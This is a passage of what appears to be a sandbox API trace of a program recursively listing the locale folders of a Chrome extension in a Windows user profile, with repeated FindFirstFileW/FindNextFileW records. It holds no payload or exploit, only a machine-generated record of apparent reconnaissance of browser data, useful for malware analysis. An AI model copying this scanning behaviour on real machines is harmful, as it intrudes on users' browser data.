lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.340] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.340] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.340] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.340] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.341] GetProcessHeap () returned 0x550000 [0273.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.341] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0273.341] GetProcessHeap () returned 0x550000 [0273.341] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.343] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.343] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.343] GetProcessHeap () returned 0x550000 [0273.343] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0273.343] GetProcessHeap () returned 0x550000 [0273.343] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.344] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.344] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.344] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.344] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.344] GetProcessHeap () returned 0x550000 [0273.344] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.344] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0273.344] GetProcessHeap () returned 0x550000 [0273.344] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.346] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.347] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.347] GetProcessHeap () returned 0x550000 [0273.347] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.347] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0273.347] GetProcessHeap () returned 0x550000 [0273.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.348] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.348] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.348] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.349] GetProcessHeap () returned 0x550000 [0273.349] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.349] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0273.349] GetProcessHeap () returned 0x550000 [0273.349] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.351] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.351] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.351] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.351] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.352] GetProcessHeap () returned 0x550000 [0273.352] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.352] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0273.352] GetProcessHeap () returned 0x550000 [0273.352] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.352] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.352] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.352] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.352] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.353] GetProcessHeap () returned 0x550000 [0273.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.353] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0273.353] GetProcessHeap () returned 0x550000 [0273.353] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.364] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.364] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.364] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.364] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.364] GetProcessHeap () returned 0x550000 [0273.364] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.364] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: 